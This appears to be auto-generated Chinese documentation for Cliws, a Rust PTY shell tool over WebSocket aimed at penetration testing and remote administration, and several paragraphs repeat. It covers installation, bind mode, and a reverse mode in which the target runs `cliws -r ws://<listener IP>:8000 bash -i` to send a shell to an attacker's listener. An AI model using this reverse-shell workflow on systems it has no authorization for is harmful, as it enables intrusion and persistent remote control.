1. 项目定位与用途
Cliws 是一个用 Rust 编写的跨平台交互式 PTY shell 工具,旨在通过 WebSocket 协议提供稳定、功能完整的远程终端访问。其核心定位是渗透测试与远程管理场景下的轻量级 shell 解决方案,能够模拟真实终端环境,支持所有需要完整 PTY 功能的交互式程序。
Cliws 是一个用 Rust 编写的轻量级跨平台交互式 PTY shell 工具,通过 WebSocket 协议提供稳定的远程终端连接,支持 VIM、SSH 等全屏应用和自动窗口调整。适用于 Windows、Linux、BSD、macOS,本页详细介绍其安装、配置及绑定/反向模式的使用方法。
Cliws 是一个用 Rust 编写的跨平台交互式 PTY shell 工具,通过 WebSocket 协议实现远程 shell 连接,提供完整的终端功能(如 VIM、SSH)和自动窗口调整,适用于渗透测试与远程管理场景。
Cliws 是一个用 Rust 编写的跨平台交互式 PTY shell 工具,旨在通过 WebSocket 协议提供稳定、功能完整的远程终端访问。其核心定位是渗透测试与远程管理场景下的轻量级 shell 解决方案,能够模拟真实终端环境,支持所有需要完整 PTY 功能的交互式程序。
传统远程 shell 常因非 PTY 模式导致交互异常,无法运行 VIM、SSH 等全屏应用或使用 readline 编辑。Cliws 通过 PTY 模拟解决此问题,提供原生终端体验;同时利用 WebSocket 保证跨平台网络通信的稳定性,并自动同步终端窗口大小,避免布局错乱。
主要适用于:1) 渗透测试中获取并维持交互式远程 shell;2) 跨平台远程管理终端访问;3) 需要完整 PTY 功能的自动化脚本交互(如 expect 类操作)。项目明确支持 Windows 10+、Linux、BSD 和 macOS,满足多环境部署需求。
仓库中明确给出两种安装方式:1) 通过 Rust 包管理器直接安装:执行 `cargo install cliws`;2) 从源码构建:克隆仓库后运行 `cargo build --release`,可执行文件位于 `target/release/cliws`。未提及其他包管理器或预编译二进制下载方式。
使用分为两种模式,均通过命令行参数控制:绑定模式:先运行 `./cliws -p 8000 bash -i` 监听端口并启动 shell,再运行 `./cliws -c ws://127.0.0.1:8000` 连接获取交互;反向模式:先运行 `./cliws -l 8000` 监听,再在目标机运行 `./cliws -r ws://127.0.0.1:8000 bash -i` 建立反向连接。示例 GIF 见 example 目录。
实现上,项目采用模块化设计:WebSocket 通信依赖 websocket crate;PTY 核心处理位于 src/conpty/(含 console、io、util 等子模块);跨平台抽象由 src/win.rs(Windows ConPTY)和 src/xnix.rs(Unix nix 库)负责;终端尺寸自适应与工具函数在 src/utils.rs。日志使用 log 和 simple_logger。注意:Windows 下若遇乱码需手动修改注册表 OEMCP 为 65001。
可通过 Rust 包管理器直接安装:执行 `cargo install cliws`;或从源码构建:`cargo build --release` 后运行 `target/release/cliws`。仓库中未提及其他安装方式。
先在服务端运行 `./cliws -p 8000 bash -i` 监听端口并启动 shell,再在客户端运行 `./cliws -c ws://127.0.0.1:8000` 连接获取交互式终端。
先在监听端(如攻击机)运行 `./cliws -l 8000`,再在目标端运行 `./cliws -r ws://<监听IP>:8000 bash -i` 建立反向 WebSocket 连接并启动 shell。
根据 README,Windows Terminal 默认 UTF-8 编码,当目标系统为其他语言时可能出现乱码。解决方案是修改注册表:将 `[Machine]\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage\OEMCP` 值设为 65001(DEC)。
明确支持 Windows 10+(Windows Server 2019+)、Linux、BSD 和 macOS。PTY 功能完整,包括 VIM、SSH、readline 编辑、Ctrl+X 组合键等,并能自动设置终端窗口大小。